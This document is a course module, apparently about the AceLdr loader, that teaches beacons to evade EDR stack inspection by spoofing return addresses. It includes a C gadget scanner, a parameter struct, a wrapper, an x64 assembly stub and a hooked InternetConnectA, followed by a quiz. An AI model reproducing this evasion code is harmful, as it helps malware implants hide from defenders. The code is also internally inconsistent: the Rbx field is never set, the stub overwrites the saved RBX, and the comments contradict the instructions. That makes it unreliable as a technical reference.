Module 7: Return Address Spoofing

Making your call stacks look like they came from legitimate code

Advanced

The Threat Model

Why Return Addresses Matter

Modern EDR products and forensic tools inspect the call stack of threads making sensitive API calls. Every CALL instruction pushes a return address onto the stack. When a beacon residing in unbacked (non-file-backed) memory calls HeapAlloc or NtWaitForSingleObject, the return address on the stack points back into suspicious RWX memory that doesn't correspond to any known DLL — an immediate red flag.

Defenders use tools like Moneta, Hunt-Sleeping-Beacons, and BeaconEye to walk thread stacks and flag return addresses that point into:

AceLdr's return address spoofing replaces the real return address on the stack with one that points into a legitimate, signed DLL, making the call stack appear benign.

The JMP [RBX] Gadget

The foundation of AceLdr's spoofing is a specific two-byte instruction sequence found inside legitimate DLLs:

Assembly
FF 23    ; JMP QWORD PTR [RBX]

Why This Specific Gadget?

The FF 23 Byte Sequence

AceLdr needs a gadget that:

  1. Resides in a legitimate, signed DLL — So the spoofed return address passes stack-walk verification
  2. Performs an indirect jump through a register — So we can control where execution actually goes
  3. Uses RBX specifically — Because RBX is a callee-saved (non-volatile) register in the x64 calling convention, meaning it survives across function calls

The bytes FF 23 encode JMP QWORD PTR [RBX]. After the target API returns, instead of returning to the beacon's suspicious address, execution goes to the gadget inside a trusted DLL, which then jumps to the address stored in [RBX] — which we control.

FindGadget — Locating the Gadget at Runtime

AceLdr cannot hardcode the gadget's address because DLLs are loaded at different base addresses due to ASLR. Instead, it scans the .text section of a legitimate DLL for the FF 23 byte sequence:

C — util.c
PVOID FindGadget(PVOID Module) {
    PIMAGE_DOS_HEADER     Dos = Module;
    PIMAGE_NT_HEADERS     Nt  = (PVOID)((UINT_PTR)Module + Dos->e_lfanew);
    PIMAGE_SECTION_HEADER Sec = IMAGE_FIRST_SECTION(Nt);

    // Walk sections to find .text
    for (UINT16 i = 0; i < Nt->FileHeader.NumberOfSections; i++, Sec++) {
        // Check for executable section
        if (!(Sec->Characteristics & IMAGE_SCN_MEM_EXECUTE))
            continue;

        PBYTE Start = (PBYTE)Module + Sec->VirtualAddress;
        PBYTE End   = Start + Sec->Misc.VirtualSize;

        // Scan for FF 23 (JMP [RBX])
        for (PBYTE p = Start; p < End - 1; p++) {
            if (p[0] == 0xFF && p[1] == 0x23) {
                return (PVOID)p;
            }
        }
    }
    return NULL;
}

Walkthrough

  1. Parse the PE of the target DLL (e.g., kernel32.dll)
  2. Locate executable sections by checking IMAGE_SCN_MEM_EXECUTE
  3. Linear scan through the section bytes looking for the 0xFF, 0x23 pair
  4. Return the first match — this is our gadget address inside a signed, legitimate DLL

Why It Must Be in a Legitimate DLL

If the gadget were in unbacked memory (like the beacon itself), the spoof would be pointless — the return address would still point to suspicious memory. The entire point is that tools inspecting the stack see a return address inside kernel32.dll or another signed system DLL, which passes all legitimacy checks.

The PRM Structure

AceLdr passes spoofing parameters through a structure called PRM (Parameters for Return address Manipulation):

C — structs
typedef struct _PRM {
    PVOID  Trampoline;   // Address of the JMP [RBX] gadget in a legit DLL
    PVOID  Function;     // Address of the real API to call (e.g., real HeapAlloc)
    PVOID  Rbx;          // Value to store in RBX (real return address)
} PRM, *PPRM;
FieldPurposeExample Value
Trampoline Address of FF 23 gadget in a signed DLL kernel32.dll+0x1A3F2
Function Real API function to call &HeapAlloc
Rbx Pointer to the real return address (stored where RBX points) Stack address holding real return

SpoofRetAddr — The C Wrapper

The C-level entry point prepares the PRM struct and calls into assembly:

C — retaddr.c
PVOID SpoofRetAddr(PVOID Function, PVOID Arg1, ...) {
    PRM Param;

    // Set up the trampoline (JMP [RBX] gadget found earlier)
    Param.Trampoline = STUB.Gadget;

    // The real function to call
    Param.Function = Function;

    // Spoof will call the assembly stub, which:
    // 1. Saves real return address
    // 2. Replaces it with Trampoline (gadget in legit DLL)
    // 3. Sets RBX to point to saved real return address
    // 4. Calls the real function
    // 5. Function returns to gadget -> JMP [RBX] -> returns to us
    return Spoof(&Param, Arg1, ...);
}

Spoof Assembly — The Core Mechanism

The actual stack manipulation happens in hand-written assembly (spoof.asm):

x86-64 Assembly — spoof.asm
; Spoof(PRM* param, args...)
Spoof PROC
    ; Step 1: Save the real return address from the stack
    pop    rax              ; Pop real return address into RAX

    ; Step 2: Save callee-saved registers we'll clobber
    push   rbx              ; Save original RBX (callee-saved)

    ; Step 3: Load PRM struct fields
    mov    rbx, [rcx]       ; RBX = PRM.Trampoline (gadget address)
    mov    rcx, [rcx+8]     ; RCX = PRM.Function   (real API addr)

    ; Step 4: Set up the spoofed return address
    ;   Push the gadget address as the "return address" for the API
    ;   When the API does RET, it will return to the gadget (in legit DLL)
    push   rbx              ; Push Trampoline as fake return address

    ; Step 5: Store the real return info where RBX points
    ;   RBX now points to our saved data on the stack
    ;   The gadget does JMP [RBX], which will jump to our real return
    lea    rbx, [rsp+8]     ; RBX points to saved real RBX on stack
    mov    [rsp+8], rax     ; Store real return address where RBX points

    ; Step 6: Jump to the real API function
    jmp    rcx              ; Call the real API (e.g., HeapAlloc)
                            ; API returns via RET -> pops Trampoline addr
                            ; Trampoline = JMP [RBX] -> jumps to real return
Spoof ENDP

The 6-Step Spoofing Flow

Return Address Spoofing Lifecycle

Step 1
Pop real return
addr into RAX
Step 2
Save RBX
(callee-saved)
Step 3
Load Trampoline
& Function from PRM
Step 4
Push Trampoline
as fake return
Step 5
Store real return
where RBX points
Step 6
JMP to real API
(stack is spoofed)

What Happens When the API Returns

Return Path

Real API
executes RET
Pops Trampoline
(gadget in kernel32)
Gadget: JMP [RBX]
RBX points to saved return
Lands back in
our hook code

From the EDR's perspective, when it inspects the call stack during the API call, it sees:

Without Spoofing
HeapAlloc
 ← 0x7FF600001234  (unbacked RWX memory!)
 ← 0x7FF600001100  (more suspicious memory)
With Spoofing
HeapAlloc
 ← 0x7FFB12341A3F  (kernel32.dll+0x1A3F)
 ← 0x7FFB11110000  (legitimate caller)

The SPOOF Macro in Practice

For convenience, AceLdr provides a SPOOF macro that wraps the entire spoofing flow. Here's how InternetConnectA_Hook uses it:

C — hooks/net.c
HINTERNET WINAPI InternetConnectA_Hook(
    HINTERNET hInternet,
    LPCSTR    lpszServerName,
    INTERNET_PORT nServerPort,
    LPCSTR    lpszUserName,
    LPCSTR    lpszPassword,
    DWORD     dwService,
    DWORD     dwFlags,
    DWORD_PTR dwContext
) {
    // SPOOF macro: calls SpoofRetAddr with the real InternetConnectA
    // and forwards all arguments. The return address on the stack
    // will point to the gadget in a legit DLL, not back to the beacon.
    return (HINTERNET)SPOOF(
        STUB.Api.InternetConnectA,  // Real API address
        hInternet,
        lpszServerName,
        nServerPort,
        lpszUserName,
        lpszPassword,
        dwService,
        dwFlags,
        dwContext
    );
}

The SPOOF macro expands to a call to SpoofRetAddr, which fills the PRM struct and invokes the assembly trampoline. The hook function itself is straightforward — it simply forwards all arguments through the spoofing mechanism.

Why Not Spoof Everything?

AceLdr only spoofs return addresses on 4 specific APIs (HeapAlloc, RtlAllocateHeap, InternetConnectA, NtWaitForSingleObject). These are the calls most likely to be inspected by EDR during stack walks. Spoofing every API call would add unnecessary overhead and complexity. The two remaining hooks (Sleep and GetProcessHeap) serve entirely different purposes and don't need return address spoofing.

Knowledge Check

Module 7 Quiz

1. What byte sequence does AceLdr scan for when looking for the JMP [RBX] gadget?

The byte sequence is FF 23, which encodes JMP QWORD PTR [RBX]. This is an indirect jump through the memory address pointed to by RBX. Note that FF E3 would be JMP RBX (jumping to the value in RBX itself), which is a different instruction. AceLdr needs the indirect variant because RBX points to a memory location holding the real return address.

2. Why must the JMP [RBX] gadget reside in a legitimate, signed DLL?

The whole purpose of return address spoofing is to make the call stack look legitimate. When an EDR walks the stack, it checks whether each return address falls within a known, file-backed module. If the gadget were in unbacked memory, the spoofed address would still be flagged as suspicious, defeating the entire purpose. The gadget must be in a signed DLL (like kernel32.dll) so the return address passes legitimacy checks.